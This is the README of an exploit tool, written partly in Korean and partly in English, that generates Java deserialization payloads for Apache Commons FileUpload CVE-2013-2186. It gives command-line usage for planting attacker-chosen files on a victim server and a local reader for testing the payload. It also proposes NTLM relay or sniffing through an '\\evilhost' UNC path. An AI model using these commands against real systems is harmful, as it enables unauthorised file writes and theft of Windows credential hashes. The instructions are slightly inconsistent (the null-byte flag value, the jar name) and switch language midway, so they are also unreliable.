
Java Binary Deserialization 공격과 Commons FileUpload(CVE-2013-2186)를 위한 페이로드 생성기
ACEDcup 도구는 Java 바이너리 역직렬화 공격(ACED)을 위한 페이로드 생성기입니다.
Apache Commons FileUpload 버전 <= 1.3 (CVE-2013-2186) 및 Oracle JDK 버전 < 7u40 대상
이 공격은 라이브러리나 Java의 최신 버전에서도 작동합니다. 모든 디렉토리에 모든 콘텐츠를 업로드할 수 있지만, 이 상황에서는 파일 이름(예: upload_f71d3547_72ed_4ae1_90fe_0d319115cd42_00000000.tmp)을 제어할 수 없습니다. 하지만 일부 경우에는 유용할 수 있습니다.
또한 대상이 Windows OS인 경우 NTLM-릴레이/스니핑 공격(\\evilhost\any\path 사용)을 수행할 수 있습니다.
1)At first, we create a serialized payload:
java -jar aced_cup.jar /path/payload /path/target /path/out 1
/path/payload - a path to a file with your payload
/path/target - a path to a file that will be created in your victim (this will be stored in the serialized payload)
/path/out - a path to a file with serialized payload
0 - turn off null-byte ending if you attack a patched system (with null-byte- by default)
2)Then we set the serialized payload to the serialized reader (if we want to test the vuln on your host) :
java -jar ser_reader serialized_payload.txt
ser_reader tries to deserialize the payload and because of a vulnerability in it's library, it creates a new file in the directory specified.
java -jar aced_cup.jar D:\\cup_exploit\\payload.txt /home/user/test/any_name.txt D:\\cup_exploit\\serialized_payload.txt
```java -jar ser_reader D:\cup_exploit\serialized_payload.txt````